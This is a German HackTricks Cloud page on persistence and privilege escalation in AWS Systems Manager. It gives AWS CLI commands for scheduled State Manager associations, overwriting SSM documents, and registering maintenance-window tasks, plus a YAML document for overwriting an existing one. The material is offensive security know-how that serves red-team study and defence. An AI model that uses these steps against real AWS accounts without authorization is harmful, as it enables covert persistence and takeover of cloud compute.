AWS - SSM Perssitence
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
SSM
Für weitere Informationen siehe:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
Ein Angreifer mit der Berechtigung ssm:CreateAssociation kann eine State Manager Association erstellen, um automatisch Befehle auf EC2-Instanzen auszuführen, die von SSM verwaltet werden. Diese Associations können so konfiguriert werden, dass sie in einem festen Intervall ausgeführt werden, wodurch sie sich für backdoor-like persistence ohne interaktive Sessions eignen.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Diese Persistence-Methode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder expliziten
ssm:SendCommand-Berechtigungen. Wichtig: Der Parameter--schedule-expression(z. B.rate(30 minutes)) muss AWSs Mindestintervall von 30 Minuten einhalten. Für sofortige oder einmalige Ausführung lasse--schedule-expressionvollständig weg — die association wird nach der Erstellung einmal ausgeführt.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
Ein Angreifer mit den Berechtigungen ssm:UpdateDocument und ssm:UpdateDocumentDefaultVersion kann Privilegien durch das Modifizieren bestehender documents erhöhen. Dies ermöglicht auch Persistence innerhalb dieses documents. Praktisch bräuchte der Angreifer außerdem ssm:ListDocuments, um die Namen für benutzerdefinierte documents zu erhalten, und wenn der Angreifer seine Payload innerhalb eines bestehenden documents verschleiern möchte, wäre ssm:GetDocument ebenfalls notwendig.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Unten ist ein Beispiel-Dokument, das verwendet werden kann, um ein bestehendes Dokument zu überschreiben. Du solltest sicherstellen, dass dein Dokumenttyp dem Typ des Zieldokuments entspricht, um Probleme bei der Invocation zu vermeiden. Das untenstehende Dokument wird zum Beispiel die ssm:SendCommand- und ssm:CreateAssociation-Beispiele ausführen.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
Ein Angreifer mit den Berechtigungen ssm:RegisterTaskWithMaintenanceWindow und ssm:RegisterTargetWithMaintenanceWindow kann seine Privilegien eskalieren, indem er zuerst ein neues Target mit einem bestehenden Maintenance Window registriert und dann ein neues Task registriert. Dadurch wird Ausführung auf den bestehenden Targets erreicht, aber es kann einem Angreifer auch ermöglichen, Compute mit unterschiedlichen Rollen zu kompromittieren, indem er neue Targets registriert. Dies ermöglicht auch Persistence, da Maintenance Window Tasks während der Erstellung des Windows in einem vordefinierten Intervall ausgeführt werden. Praktisch würde der Angreifer außerdem ssm:DescribeMaintenanceWindows benötigen, um die Maintenance-Window-IDs zu erhalten.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

